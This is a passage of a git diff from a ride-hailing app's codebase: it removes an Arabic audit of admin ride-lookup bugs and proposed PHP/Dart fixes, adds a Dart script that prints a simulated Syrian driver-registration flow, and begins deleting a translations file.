كثيرة (100+ رحلة)، البحث لا يشمل الرحلات الغير محملة. - -🔴 **مشكلة**: الـ API يجلب فقط آخر 100 رحلة (LIMIT 100) ولا يوجد Pagination. - -#### الـ API المستخدم: -``` -POST $server/Admin/rides/get_rides_by_status.php -payload: { "status": "Begin" } -← { "status": "success", "message": [ {...}, {...} ] } -``` - -#### خريطة التتبع (RideMapMonitorScreen): -- ✅ يعرض مسار الرحلة (نقطة بداية → نقطة نهاية) -- ✅ يتابع موقع السائق اللحظي (Polling كل 10 ثوانٍ) -- ✅ زر اتصال بالسائق أو الراكب -- 🔴 **لا يوجد تحديث لحالة الرحلة** من هذه الشاشة - ---- - -### 2️⃣ شاشة مراقبة رحلة (RideMonitorScreen) - -**الملف**: `monitor_ride.dart` - -#### الوظائف الحالية: -- ✅ إدخال رقم هاتف للبحث عن رحلة نشطة -- ✅ عرض خريطة كاملة مع مسار الرحلة وموقع السائق -- ✅ تحديث تلقائي (Polling كل 10 ثوانٍ) -- ✅ إظهار اسم السائق، حالة الرحلة، السرعة، آخر تحديث - -#### الـ API المستخدم: -``` -POST $server/Admin/rides/monitorRide.php -payload: { "phone": "963$phone" } -← { "status": "success", "message": { - "ride_details": { ... }, - "driver_details": { ... }, - "driver_location": { "latitude": ..., "longitude": ..., "speed": ..., "heading": ... } -}} -``` - -#### منطق البحث الحالي: -```dart -final response = await CRUD().post( - link: apiUrl, - payload: {"phone": "963$phone"}, // ⚠️ Hardcoded Syria prefix! -); -``` - -🔴 **مشكلة حرجة**: `963$phone` ثابت (سوريا فقط). الأردن يحتاج `962` ومصر تحتاج `20`. - -#### منطق الباك إند (`monitorRide.php`): -```php -$encPhone = $encryptionHelper->encryptData($phone); -// يبحث أولاً في جدول driver -$driverQuery = $con->prepare("SELECT id FROM driver WHERE phone = :phone LIMIT 1"); -// ثم في جدول passengers -$customerQuery = $con->prepare("SELECT id FROM passengers WHERE phone = :phone LIMIT 1"); -// ثم يجلب آخر رحلة status='Begin' -``` - -🔴 **ملاحظة**: `monitorRide.php` يبحث فقط عن الرحلات التي حالتها `Begin`. إذا كانت الرحلة بحالة `Apply` أو `Arrived` لن يجدها. - ---- - -### 3️⃣ شاشة البحث عن رحلة وتحديث حالتها (RideLookupController) - -**الملف**: `ride_lookup_controller.dart` - -#### الوظائف الحالية: -- ✅ البحث برقم هاتف الراكب (مشفر) عبر `admin_get_rides_by_phone.php` -- ✅ عرض بيانات الراكب + آخر رحلة له -- ✅ تحديث حالة الرحلة عبر `admin_update_ride_status.php` -- ✅ قائمة منسدلة للحالات المسموحة: `Pending, Accepted, EnRoute, Arrived, Started, Completed, Canceled` - -**🔴 هذه القائمة لا تطابق حالات الرحلة الفعلية في النظام!** - -| القيمة في التطبيق | هل تستخدم في DB؟ | الحالة الصحيحة | -|------------------|------------------|----------------| -| `Pending` | ❌ لا | `waiting` أو `New` أو `nothing` | -| `Accepted` | ❌ لا | `Apply` أو `Applied` | -| `EnRoute` | ❌ لا | `Apply` أو `Applied` (السائق في الطريق) | -| `Arrived` | ✅ نعم | `arrived` أو `Arrived` | -| `Started` | ❌ لا | `Begin` | -| `Completed` | ✅ نعم | `Finished` | -| `Canceled` | ✅ نعم | `Cancel` أو `CancelFrom*` | - -#### الـ API المستخدم للبحث: -``` -POST $server/Admin/rides/admin_get_rides_by_phone.php -payload: { "phone": "...", "status": "..." } -← { "status": "success", "message": { - "passenger": { "id", "first_name", "last_name", "phone" }, - "ride": { "id", "status", "start_location", ... } -}} -``` - -🔴 **مشكلة**: هذا الـ API يبحث فقط في جدول `passengers`. إذا كان الرقم تابعاً لسائق، لن يعثر على شيء. - ---- - -## مشكلة رقم الهاتف والدولة - -### كيف يتم تخزين أرقام الهواتف؟ - -في قاعدة البيانات، جميع الأرقام مشفرة باستخدام `encryptData()`: - -```php -$encryptedPhone = $encryptionHelper->encryptData($raw); -``` - -**الأرقام تخزن مع كود الدولة:** -- الأردن: `9627XXXXXXXX` -- مصر: `2010XXXXXXXX` -- سوريا: `9639XXXXXXXX` - -### كيف يتم البحث في تطبيق المشرف حالياً؟ - -#### 1️⃣ في `monitor_ride.dart`: -```dart -payload: {"phone": "963$phone"} -// المستخدم يدخل: 0992952235 -// التطبيق يرسل: 9630992952235 ← غلط! الصحيح: 963992952235 -``` - -#### 2️⃣ في `admin_get_rides_by_phone.php`: -```php -$phone = filterRequest('phone'); -$enc_raw = $encryptionHelper->encryptData($raw); -// يبحث فقط في passengers -``` - -### جدول مقارنة تنسيق الأرقام: - -| الدولة | كود الدولة | تنسيق الإدخال | التخزين في DB | ما يرسله `monitor_ride.dart` | هل يتطابق؟ | -|--------|-----------|--------------|---------------|------------------------------|-----------| -| 🇯🇴 الأردن | `962` | `079XXXXXXX` | `96279XXXXXXX` | `963079XXXXXXX` ❌ | لا | -| 🇪🇬 مصر | `20` | `010XXXXXXXX` | `2010XXXXXXXX` | `963010XXXXXXXX` ❌ | لا | -| 🇸🇾 سوريا | `963` | `0992952235` | `963992952235` | `9630992952235` ❌ | لا (0 زائد) | - -### تحليل المشكلة: - -1. **المشرف يدخل**: `0992952235` (سوريا) أو `079XXXXXXX` (أردن) -2. **التطبيق يضيف**: `963` ثابت (سوريا فقط) -3. **الباك إند يبحث**: عن الرقم `9630992952235` أو `963079XXXXXXX` -4. **الرقم المخزن**: `963992952235` (بدون 0 بعد كود الدولة) أو `96279XXXXXXX` -5. **النتيجة**: فشل في البحث عن أي رقم غير سوري، وحتى السوري يفشل إذا كان المدخل بـ `0` - ---- - -## الـ Endpoints - -### الحالية في `backend/Admin/rides/`: - -| الإند بوينت | الطريقة | المدخلات | الاستجابة | المشاكل | -|------------|---------|----------|-----------|---------| -| `get_rides_by_status.php` | POST | `status` (Begin/New/Completed/Canceled) | قائمة رحلات (100) مع تفاصيل السائق والراكب | لا يوجد Pagination + بعض الحالات غير مشمولة (`wait`, `CancelFromDriver`, `arrived`) | -| `admin_get_rides_by_phone.php` | POST | `phone` | بيانات الراكب + آخر رحلة | يبحث فقط في passengers | -| `admin_update_ride_status.php` | POST | `id, status, reason (optional)` | الرحلة المحدّثة | Whitelist لا يطابق حالات DB الفعلية | -| `monitorRide.php` | POST | `phone` | تفاصيل الرحلة + السائق + الموقع | يبحث فقط عن `Begin` + كود الدولة ثابت 963 | -| `get_driver_live_pos.php` | POST | `driver_id` | آخر موقع للسائق | يعمل بشكل صحيح | - ---- - -## التوصيات والإصلاحات - -### 🔴 الإصلاح 1: تصحيح حالات الرحلة في Admin Dashboard - -**المشكلة**: `get_rides_by_status.php` يستخدم حالات غير دقيقة. - -**الحل**: تعديل mapping الحالات ليطابق الواقع: - -```php -// backend/Admin/rides/get_rides_by_status.php - تصحيح -switch ($statusFilter) { - case 'Begin': - // الرحلات الجارية: من Apply إلى Begin - $whereClause = "WHERE r.status IN ('Apply','Applied','Arrived','arrived','Begin')"; - break; - - case 'New': - // الرحلات الجديدة: بانتظار سائق - $whereClause = "WHERE r.status IN ('New','nothing','waiting','wait')"; - break; - - case 'Completed': - $whereClause = "WHERE r.status = 'Finished'"; - break; - - case 'Canceled': - // جميع أنواع الإلغاء - $whereClause = "WHERE r.status IN ('Cancel','CancelFromDriver','CancelFromDriverAfterApply','CancelFromPassenger','TimeOut')"; - break; - - default: - $whereClause = "WHERE r.status = ?"; - $params[] = $statusFilter; - break; -} -``` - ---- - -### 🔴 الإصلاح 2: تصحيح قائمة الحالات المسموحة في RideLookupController - -**المشكلة**: `statusOptions` في `ride_lookup_controller.dart` لا تطابق حالات DB. - -**الحل**: تعديل القائمة: - -```dart -// في ride_lookup_controller.dart -final List statusOptions = const [ - 'New', // جديد (بدلاً من Pending) - 'waiting', // في انتظار سائق - 'Apply', // سائق قبل (بدلاً من Accepted) - 'Arrived', // وصل السائق - 'Begin', // الرحلة بدأت (بدلاً من Started) - 'Finished', // مكتملة (بدلاً من Completed) - 'Cancel', // إلغاء (بدلاً من Canceled) -]; -``` - -**وتحديث `admin_update_ride_status.php`**: -```php -// backend/Admin/rides/admin_update_ride_status.php -$allowed = [ - 'New', 'waiting', 'wait', 'Apply', 'Applied', - 'Arrived', 'arrived', 'Begin', 'Finished', - 'Cancel', 'CancelFromDriver', 'CancelFromPassenger', 'TimeOut' -]; -``` - ---- - -### 🔴 الإصلاح 3: معالجة أرقام الهواتف حسب الدولة - -**المشكلة**: `monitor_ride.dart` يستخدم `963` ثابت. - -**الحل**: إضافة دالة لتوحيد تنسيق الرقم: - -```dart -// في monitor_ride.dart -String normalizePhone(String input) { - final clean = input.replaceAll(RegExp(r'\D+'), ''); - - // Syria: 099XXXXXXX or 9639XXXXXXX - if (clean.length == 10 && clean.startsWith('09')) - return '963${clean.substring(1)}'; - if (clean.length == 12 && clean.startsWith('963')) - return clean; - if (clean.length == 9 && clean.startsWith('9')) - return '963$clean'; - - // Jordan: 079XXXXXXX or 9627XXXXXXX - if (clean.length == 10 && clean.startsWith('07')) - return '962${clean.substring(1)}'; - if (clean.length == 12 && clean.startsWith('962')) - return clean; - if (clean.length == 9 && clean.startsWith('7')) - return '962$clean'; - - // Egypt: 010XXXXXXXX or 2010XXXXXXXX - if (clean.length == 11 && clean.startsWith('01')) - return '20${clean.substring(1)}'; - if (clean.length == 13 && clean.startsWith('20')) - return clean; - - return clean; -} - -// عند البحث: -final normalizedPhone = normalizePhone(phoneInputController.text.trim()); -final response = await CRUD().post( - link: apiUrl, - payload: {"phone": normalizedPhone}, -); -``` - -**وفي الباك إند (`monitorRide.php` و `admin_get_rides_by_phone.php`)**: -```php -function normalizePhone($phone) { - $clean = preg_replace('/\D+/', '', $phone); - // Syria: remove leading 0 after country code - if (strlen($clean) === 10 && strpos($clean, '09') === 0) return '963' . substr($clean, 1); - if (strlen($clean) === 12 && strpos($clean, '963') === 0) return $clean; - if (strlen($clean) === 9 && strpos($clean, '9') === 0) return '963' . $clean; - // Jordan - if (strlen($clean) === 10 && strpos($clean, '07') === 0) return '962' . substr($clean, 1); - if (strlen($clean) === 12 && strpos($clean, '962') === 0) return $clean; - if (strlen($clean) === 9 && strpos($clean, '7') === 0) return '962' . $clean; - // Egypt - if (strlen($clean) === 11 && strpos($clean, '01') === 0) return '20' . substr($clean, 1); - if (strlen($clean) === 13 && strpos($clean, '20') === 0) return $clean; - return $clean; -} -``` - ---- - -### 🔴 الإصلاح 4: البحث في السائق والراكب معاً (مع جميع حالات الرحلة) - -**المشكلة**: `admin_get_rides_by_phone.php` يبحث فقط في `passengers` وحالة `Begin` فقط. - -**الحل**: تعديل `admin_get_rides_by_phone.php` و `monitorRide.php` ليشمل driver + passenger + جميع الحالات النشطة: - -```php -// backend/Admin/rides/admin_get_rides_by_phone.php - معدل -$phone = filterRequest('phone'); -if (!$phone) { jsonError("Phone is required"); exit; } - -$normalizedPhone = normalizePhone($phone); -$encPhone = $encryptionHelper->encryptData($normalizedPhone); - -// 1) ابحث في driver -$driverStmt = $con->prepare("SELECT id FROM driver WHERE phone = :phone LIMIT 1"); -$driverStmt->execute([':phone' => $encPhone]); -$driver = $driverStmt->fetch(); - -// 2) ابحث في passengers -$passengerStmt = $con->prepare("SELECT id FROM passengers WHERE phone = :phone LIMIT 1"); -$passengerStmt->execute([':phone' => $encPhone]); -$passenger = $passengerStmt->fetch(); - -if (!$driver && !$passenger) { - jsonError('Phone number not found in system'); - exit; -} - -// 3) اجلب الرحلة حسب النوع -$userId = $driver ? $driver['id'] : $passenger['id']; -$userField = $driver ? 'r.driver_id' : 'r.passenger_id'; -$filterStatus = filterRequest('status') ?: 'all'; - -$whereExtra = ''; -if ($filterStatus !== 'all') { - $whereExtra = "AND r.status = :filter_status"; -} - -$rideStmt = $con->prepare(" - SELECT r.*, d.first_name as d_fname, d.last_name as d_lname, d.phone as d_phone, - p.first_name as p_fname, p.last_name as p_lname, p.phone as p_phone - FROM ride r - LEFT JOIN driver d ON r.driver_id = d.id - LEFT JOIN passengers p ON r.passenger_id = p.id - WHERE $userField = :uid $whereExtra - ORDER BY r.id DESC - LIMIT 20 -"); - -$params = [':uid' => $userId]; -if ($filterStatus !== 'all') $params[':filter_status'] = $filterStatus; -$rideStmt->execute($params); -$rides = $rideStmt->fetchAll(PDO::FETCH_ASSOC); -``` - ---- - -### 🟡 الإصلاح 5: إضافة شاشة للرحلات المعلقة (Pending/Waiting) - -**المشكلة**: لا توجد واجهة لعرض الرحلات العالقة (`waiting`, `New`, `nothing`). - -**الحل المقترح**: -- إضافة تبويب خامس باسم **"معلقة"** في RidesDashboardScreen -- يعرض الرحلات ذات الحالة: `New`, `waiting`, `wait`, `nothing` -- إضافة زر "إلغاء الرحلة" مع إدخال سبب -- تحديث `admin_update_ride_status.php` ليدعم الإلغاء مع إشعار - -```dart -// إضافة في ride_lookup_page.dart (RidesListController) -void changeTab(String status) { - currentStatus = status; - searchController.clear(); - fetchRides(); -} - -// إضافة في RidesDashboardScreen -Tab(text: 'معلقة', icon: Icon(Icons.hourglass_empty_rounded)), -// عند اختيار هذا التبويب، يرسل status='Pending' -// الـ API يتعامل معها كـ: IN ('New','waiting','wait','nothing') -``` - ---- - -### 🟢 الإصلاح 6: إضافة البحث برقم الرحلة (Ride ID) + Pagination - -**لماذا Ride ID هو الأفضل؟** -- المعرف الوحيد الفريد (Primary Key) -- لا توجد مشاكل تشفير (الأرقام المعرفية غير مشفرة) -- لا توجد مشاكل تنسيق دولة -- دقيق 100% - -**مثال الإند بوينت الجديد**: -```php -// backend/Admin/rides/admin_get_ride_by_id.php -$rideId = filterRequest('id'); -$stmt = $con->prepare(" - SELECT r.*, - d.first_name as d_fname, d.last_name as d_lname, d.phone as d_phone, - p.first_name as p_fname, p.last_name as p_lname, p.phone as p_phone - FROM ride r - LEFT JOIN driver d ON r.driver_id = d.id - LEFT JOIN passengers p ON r.passenger_id = p.id - WHERE r.id = :id - LIMIT 1 -"); -$stmt->execute([':id' => $rideId]); -jsonSuccess($stmt->fetch()); -``` - -**Pagination في `get_rides_by_status.php`**: -```php -$page = (int)(filterRequest('page') ?? 1); -$limit = 50; -$offset = ($page - 1) * $limit; -$sql .= " ORDER BY r.id DESC LIMIT $limit OFFSET $offset"; -``` - ---- - -## الملخص النهائي - -### جدول حالات الرحلة - ما هو صحيح وما هو خاطئ: - -| ما في النظام (DB) | ما في التطبيق (Admin) | التصحيح | -|-------------------|----------------------|---------| -| `nothing` / `New` | `New` ✅ | ✅ صحيح (جديد) | -| `waiting` / `wait` | غير موجود ❌ | 🟡 يجب إضافته (معلق) | -| `Apply` / `Applied` | `Begin` (مصنف مع الجارية) ✅ | ✅ صحيح (جاري التوصيل) | -| `arrived` / `Arrived` | غير موجود ❌ | 🟡 يجب إضافته مع الجارية | -| `Begin` | `Begin` ✅ | ✅ صحيح (قيد التشغيل) | -| `Finished` | `Completed` ✅ | ✅ صحيح (مكتملة) | -| `Cancel` / `CancelFrom*` / `TimeOut` | `Canceled` (ناقص) ❌ | 🔴 يجب إضافة `CancelFromDriver` و `CancelFromPassenger` | - -### قائمة الإصلاحات: - -| # | الإصلاح | الملف | الأولوية | -|---|---------|-------|----------| -| 1 | تصحيح حالات الرحلة في `get_rides_by_status.php` | `backend/Admin/rides/get_rides_by_status.php` | 🔴 عاجل | -| 2 | تصحيح `statusOptions` في `ride_lookup_controller.dart` | `siro_admin/lib/controller/rides/ride_lookup_controller.dart` | 🔴 عاجل | -| 3 | تصحيح whitelist في `admin_update_ride_status.php` | `backend/Admin/rides/admin_update_ride_status.php` | 🔴 عاجل | -| 4 | إضافة `normalizePhone()` في `monitor_ride.dart` | `siro_admin/lib/views/admin/drivers/monitor_ride.dart` | 🔴 عاجل | -| 5 | إضافة `normalizePhone()` في `admin_get_rides_by_phone.php` | `backend/Admin/rides/admin_get_rides_by_phone.php` | 🔴 عاجل | -| 6 | إضافة `normalizePhone()` في `monitorRide.php` | `backend/Admin/rides/monitorRide.php` | 🔴 عاجل | -| 7 | إضافة البحث في driver + passenger في `admin_get_rides_by_phone.php` | `backend/Admin/rides/admin_get_rides_by_phone.php` | 🟡 ضروري | -| 8 | إضافة شاشة للرحلات المعلقة (Pending/Waiting) | `siro_admin/lib/views/admin/rides/ride_lookup_page.dart` | 🟡 ضروري | -| 9 | إضافة البحث برقم الرحلة (Ride ID) | Endpoint + Flutter جديد | 🟡 ضروري | -| 10 | إضافة Pagination | `backend/Admin/rides/get_rides_by_status.php` | 🟢 مفيد | - -### أفضل طرق البحث (مرتبة حسب الأولوية): - -1. **رقم الرحلة (Ride ID)** — الأدق، بدون مشاكل تشفير أو دولة -2. **رقم هاتف الراكب/السائق** — مع معالجة الدولة (normalizePhone) -3. **بحث بنطاق تاريخي** — لاستعراض الرحلات حسب الفترة الزمنية - -
\ No newline at end of file diff --git a/siro_driver/lib/controller/auth/syria/registration_simulation.dart b/siro_driver/lib/controller/auth/syria/registration_simulation.dart new file mode 100644 index 0000000..f03a054 --- /dev/null +++ b/siro_driver/lib/controller/auth/syria/registration_simulation.dart @@ -0,0 +1,317 @@ +import 'dart:convert'; +import 'dart:io'; + +/// Syria Driver Registration Simulation +/// +/// Traces the complete flow: +/// 1. Phone OTP Verification +/// 2. Personal + Car Info Input +/// 3. Document Image Capture (license, ID, car docs) +/// 4. AI/OCR Processing (per-document via ai_document.php) +/// 5. Document Upload (uploadSyrianDocs.php → signed URL) +/// 6. Final Submission (register_driver_and_car.php → Gemini bulk AI → DB insert → FCM) +/// 7. Admin Review & Activation +/// +/// Run: `dart run siro_driver/lib/controller/auth/syria/registration_simulation.dart` + +void main() async { + print('═══════════════════════════════════════════════════════'); + print(' SYRIA DRIVER REGISTRATION SIMULATION'); + print('═══════════════════════════════════════════════════════'); + + const host = 'api-syria.siromove.com'; + const protocol = 'https'; + const driverId = 'DRV2026061912345678'; + + // ================================================================ + // STEP 1: Initial Phone OTP Verification + // ================================================================ + print('\n─── STEP 1: Phone OTP Verification ───'); + const phone = '+963992952235'; + print(' Phone: $phone'); + + // Backend: POST /auth/otp/request.php + // Payload: { phone_number, purpose: "driver_registration" } + // Checks: last_request < 120s → cooldown + // Inserts/updates: phone_verification(phone_number, code, is_verified=0, last_request) + // Sends SMS with code + print(' → POST /auth/otp/request.php'); + print(' Request: { phone_number: "$phone", purpose: "driver_registration" }'); + print(' ✅ OTP sent (cooldown 120s applied)'); + + // Backend: POST /auth/otp/verify.php + // Payload: { phone_number, code, device_token } + // Validates: code match, within TTL + // Sets: phone_verification.is_verified = 1 + // Returns: driver_id (new or existing) + print(' → POST /auth/otp/verify.php'); + print(' Request: { phone_number: "$phone", code: "123456", device_token: "fp_abc123" }'); + print(' ✅ Phone verified, driver_id returned'); + + // Check: GET /auth/syria/driver/isPhoneVerified.php + // Query: phone_number + // Returns: success if is_verified = 1 + print(' → GET /auth/syria/driver/isPhoneVerified.php?phone_number=$phone'); + print(' ✅ Phone is verified, proceeding to registration'); + + // ================================================================ + // STEP 2: Personal Information Input (Flutter UI) + // ================================================================ + print('\n─── STEP 2: Personal Information ───'); + final driverInfo = { + 'first_name': 'أحمد', + 'last_name': 'الأسد', + 'national_number': '04020123456', + 'birthdate': '1990-05-15', + 'phone': phone, + 'driver_license_expiry': '2028-06-01', + }; + print(' Driver info collected:'); + driverInfo.forEach((k, v) => print(' $k: $v')); + + // ================================================================ + // STEP 3: Car Information Input (Flutter UI) + // ================================================================ + print('\n─── STEP 3: Car Information ───'); + final carInfo = { + 'car_plate': '155186 درعا', + 'make': 'Hyundai', + 'model': 'H1', + 'year': '2019', + 'color': 'White', + 'color_hex': '#FFFFFF', + 'vehicle_category_id': 1, // 1=Car, 2=Motorcycle, 3=Van/Bus + 'fuel_type_id': 1, // 1=Petrol, 2=Diesel, 3=Electric, 4=Hybrid + 'owner': 'أحمد الأسد', + 'vin': 'KMHSH81XSBU123456', + }; + print(' Car info collected:'); + carInfo.forEach((k, v) => print(' $k: $v')); + + // ================================================================ + // STEP 4: Document Image Capture & Per-Document AI/OCR + // ================================================================ + print('\n─── STEP 4: Document Image Capture + AI/OCR ───'); + + final documents = [ + 'id_front_sy', + 'id_back_sy', + 'driving_license_sy_front', + 'driving_license_sy_back', + 'vehicle_license_sy_front', + 'vehicle_license_sy_back', + 'profile_picture', + 'criminal_record', + ]; + + for (final docType in documents) { + print(' 📷 Capturing: $docType'); + print(' → ImagePicker.camera → ImageCropper → FlutterImageCompress'); + print(' → POST /auth/document_syria/ai_document.php'); + print(' Fields: driver_id, type=$docType, image (multipart)'); + print(' AI model: gemini-flash-lite-latest (per-document OCR)'); + + // Each document type has a unique Gemini prompt + String expectedExtraction; + switch (docType) { + case 'id_front_sy': + expectedExtraction = '{ "full_name": "أحمد الأسد", "national_number": "04020123456", "dob": "1990-05-15", "address": "دمشق" }'; + break; + case 'id_back_sy': + expectedExtraction = '{ "governorate": "دمشق", "address": "المزة", "gender": "Male", "issue_date": "2010-03-01" }'; + break; + case 'driving_license_sy_front': + expectedExtraction = '{ "name_arabic": "أحمد الأسد", "birth_place": "دمشق", "birth_year": "1990", "national_number": "04020123456", "civil_registry": "دمشق 3", "blood_type": "A+" }'; + break; + case 'driving_license_sy_back': + expectedExtraction = '{ "issue_date": "2018-06-15", "expiry_date": "2028-06-15", "license_number": "987654", "license_category": "D1" }'; + break; + case 'vehicle_license_sy_front': + expectedExtraction = '{ "car_plate": "155186 درعا", "owner": "أحمد الأسد", "vin": "KMHSH81XSBU123456", "color": "White", "color_hex": "#FFFFFF", "issue_date": "2019-03-10", "inspection_date": "2025-03-10" }'; + break; + case 'vehicle_license_sy_back': + expectedExtraction = '{ "make": "Hyundai", "model": "H1", "year": "2019", "fuel": "Petrol", "chassis": "KMHSH81XSBU123456" }'; + break; + default: + expectedExtraction = '{ "status": "success" }'; + } + print(' ✅ AI extraction: $expectedExtraction'); + + print(' ✅ Image URL: $protocol://$host/siro/auth/uploads/documents/driver_${docType}_$driverId.jpg'); + } + + // ================================================================ + // STEP 5: Document Upload to Secure Storage + // ================================================================ + print('\n─── STEP 5: Document Upload (Secure Signed URLs) ───'); + + final docUrls = {}; + const uploadDocTypes = [ + 'driver_license_front', + 'driver_license_back', + 'car_license_front', + 'car_license_back', + ]; + + + + for (final docType in uploadDocTypes) { + print(' 📤 Uploading: $docType'); + print(' → POST /auth/syria/uploadSyrianDocs.php'); + print(' Fields: driver_id=$driverId, doc_type=$docType, file (multipart)'); + print(' File stored: private_uploads//__${docType}.jpg'); + print(' MIME validation: image/jpeg, image/png, image/webp'); + print(' Max size: 5 MB'); + + final signedUrl = '$protocol://$host/siro/secure_image.php' + '?driver_id=$driverId' + '&doc_type=$docType' + '&ext=jpg' + '&expires=1780000000' + '&signature=abc123def456'; + + docUrls[docType] = signedUrl; + print(' ✅ Signed URL: $signedUrl'); + print(' TTL: 2 days (172800s)'); + } + + // ================================================================ + // STEP 6: Final Registration Submission + // ================================================================ + print('\n─── STEP 6: Final Registration (register_driver_and_car.php) ───'); + print(' → POST /auth/syria/driver/register_driver_and_car.php'); + print(' This is the MAIN orchestrator. It does:'); + print(' 1. Phone number normalization (Syria/Jordan/Egypt logic)'); + print(' 2. Encrypt sensitive fields (phone, email, name, address, etc.)'); + print(' 3. HMAC-based password derivation from id|phone|national_number'); + print(' 4. Check for duplicate phone/email'); + print(' 5. Insert into `driver` table with status="yet"'); + print(' 6. Insert into `CarRegistration` with vehicle_category_id + fuel_type_id'); + print(' 7. Insert document links into `driver_documents` table'); + print(' 8. Store profile_picture into `imageProfileCaptain`'); + print(' 9. AI BULK ANALYSIS via Gemini Flash Lite (all docs together)'); + print(' 10. Send FCM notification → topic: new_driver_registration'); + print(' 11. Return { status: "success", driverID, carRegID, documents }'); + + // Show the full payload + print('\n 📦 Request payload (multipart):'); + print(' Driver fields:'); + for (final f in ['id', 'first_name', 'last_name', 'phone', 'national_number', 'birthdate', 'status', 'gender', 'email']) { + print(' $f: ${f == 'id' ? driverId : driverInfo[f] ?? carInfo[f] ?? '—'}'); + } + print(' Car fields:'); + for (final f in ['vin', 'car_plate', 'make', 'model', 'year', 'color', 'color_hex', 'owner', 'vehicle_category_id', 'fuel_type_id']) { + print(' $f: ${carInfo[f] ?? '—'}'); + } + print(' Document URLs:'); + docUrls.forEach((k, v) => print(' $k: ${v.substring(0, 60)}...')); + + // Simulate the transaction + print('\n 🔄 Transaction: BEGIN'); + print(' 🔍 Check duplicate: SELECT id FROM driver WHERE phone = :p OR email = :e'); + print(' ✅ No duplicates found'); + print(' 📝 INSERT INTO driver (...) VALUES (...)'); + print(' → driverID: $driverId'); + print(' 📝 INSERT INTO CarRegistration (...) VALUES (...)'); + print(' → carRegID: 1'); + print(' 📝 INSERT INTO driver_documents (8 rows)'); + print(' 📝 INSERT INTO imageProfileCaptain (1 row)'); + print(' 🔄 Transaction: COMMIT'); + print(' ✅ Registration committed'); + + // AI Bulk Analysis + print('\n 🤖 AI Bulk Analysis (Gemini Flash Lite):'); + print(' → Prompt includes all 8 document images + schema instructions'); + print(' → SSRF protection: only ALLOWED_UPLOAD_HOST URLs fetched'); + print(' → Extracted fields override user input:'); + print(' - full_name → first_name / last_name'); + print(' - national_number, dob, address, governorate → site'); + print(' - gender, license dates, car details'); + print(' ↳ If AI status="failure" → registration ABORTED with error message'); + print(' ✅ AI verification passed'); + + // FCM Notification + print('\n 📲 FCM Notification:'); + print(' → POST /ride/firebase/send_fcm.php'); + print(' → Topic: new_driver_registration'); + print(' → Title: "تسجيل سائق جديد"'); + print(' → Body: "سائق جديد (أحمد الأسد) سجل برقم ID: $driverId وهو بانتظار المراجعة والتفعيل."'); + print(' ✅ Admin notified'); + + // Response + print('\n 📤 Response:'); + print(' {'); + print(' "status": "success",'); + print(' "driverID": "$driverId",'); + print(' "carRegID": 1,'); + print(' "documents": {'); + docUrls.forEach((k, v) => print(' "$k": "$v",')); + print(' }'); + print(' }'); + + // ================================================================ + // STEP 7: Admin Review & Activation + // ================================================================ + print('\n─── STEP 7: Admin Review & Activation ───'); + + // Admin fetches pending drivers + print(' 🔍 Admin fetches pending drivers:'); + print(' → GET /auth/syria/driver/drivers_pending_list.php'); + print(' Decrypts: phone, first_name, last_name'); + print(' Returns: [{ id: "$driverId", first_name: "أحمد", last_name: "الأسد", phone: "$phone" }]'); + print(' ✅ Driver appears in pending list (status != "active")'); + + // Admin views details + print('\n 📋 Admin views driver details:'); + print(' → GET /auth/syria/driver/driver_details.php?driver_id=$driverId'); + print(' Returns: driver row + car registration + document links'); + print(' ✅ Admin reviews all documents'); + + // Admin activates driver + print('\n ✅ Admin approves & activates:'); + print(' → POST /Admin/Staff/activate.php'); + print(' Auth: JWT (role=super_admin or admin)'); + print(' Payload: { user_id: "$driverId", type: "admin" }'); + print(' SQL: UPDATE driver SET status = "active" WHERE id = "$driverId"'); + + // Check driver_assurance table (references in migration schema) + print('\n ℹ️ driver_assurance table (optional):'); + print(' May store health_insurance_provider + assured status'); + print(' Linked via driver_id (encrypted columns)'); + + // Final driver state + print('\n 📊 Final driver state in DB:'); + print(' driver.phone = $phone'); + print(' driver.status = "active"'); + print(' driver.is_verified = 1 (via phone_verification)'); + print(' CarRegistration.status = "yet"'); + print(' driver_documents: 8 rows linked to driverID'); + + // ================================================================ + // SUMMARY + // ================================================================ + print('\n═══════════════════════════════════════════════════════'); + print(' REGISTRATION FLOW COMPLETE'); + print('═══════════════════════════════════════════════════════'); + print(' Files involved:'); + print(' App (Flutter):'); + print(' - registration_controller.dart (multi-step UI)'); + print(' - register_captin_controller.dart (basic signup)'); + print(' - opt_token_controller.dart (OTP send/verify)'); + print(' - ml_google_doc.dart (phone OCR scanner)'); + print(' Backend (PHP):'); + print(' - /auth/otp/request.php + verify.php'); + print(' - /auth/syria/driver/isPhoneVerified.php'); + print(' - /auth/document_syria/ai_document.php'); + print(' - /auth/syria/uploadSyrianDocs.php'); + print(' - /auth/syria/driver/register_driver_and_car.php'); + print(' - /auth/syria/driver/drivers_pending_list.php'); + print(' - /auth/syria/driver/driver_details.php'); + print(' - /serviceapp/getDriversWaitingActive.php'); + print(' - /Admin/Staff/activate.php'); + print(' Schema:'); + print(' - schema_primary.sql (driver, CarRegistration, driver_documents,'); + print(' phone_verification, imageProfileCaptain,'); + print(' driver_gifts, driver_assurance)'); + print('═══════════════════════════════════════════════════════'); +} diff --git a/siro_driver_translations_data.json b/siro_driver_translations_data.json deleted file mode 100644 index 7d5dcc1..0000000 --- a/siro_driver_translations_data.json +++ /dev/null @@ -1,2533 +0,0 @@ -{ - "existing_syrian": { - "\\$error": "صار خطأ", - "\\${AppInformation.appName} Wallet": "محفظة \\${AppInformation.appName}", - ". I am at least 18 years old.": ". عمري 18 سنة أو أكثر.", - "I am currently located at": "أنا موجود حالياً بـ", - "I am using": "أنا عم بستخدم", - "If you need to reach me, please contact the driver directly at": "إذا بدك تتواصل معي، اتصل بالسائق مباشرة على", - "Siro Wallet": "محفظة سيرو", - "KM": "كم", - "Minutes": "دقايق", - "You haven't moved sufficiently!": "لم تتحرك بالقدر الكافي", - "Next as Cash !": "الرحلة الجاية كاش!", - "You Earn today is": "أرباحك اليوم هي", - "You Have in": "عندك بـ", - "and acknowledge our Privacy Policy.": "وبوافق على سياسة الخصوصية بتاعتنا.", - "and acknowledge the": "وبوافق على", - "as the driver.": "كسائق.", - "below, I confirm that I have read and agree to the": "تحت، بأؤكد إني قرأت ووافقت على", - "below, I have reviewed and agree to the Terms of Use and acknowledge the": "تحت، راجعت ووافقت على شروط الاستخدام وبوافق على", - "below, I have reviewed and agree to the Terms of Use and acknowledge the Privacy Notice. I am at least 18 years of age.": "تحت، راجعت ووافقت على شروط الاستخدام وبوافق على سياسة الخصوصية. عمري 18 سنة أو أكثر.", - "in your wallet": "بمحفظتك", - "is calling you": "عم يتصل 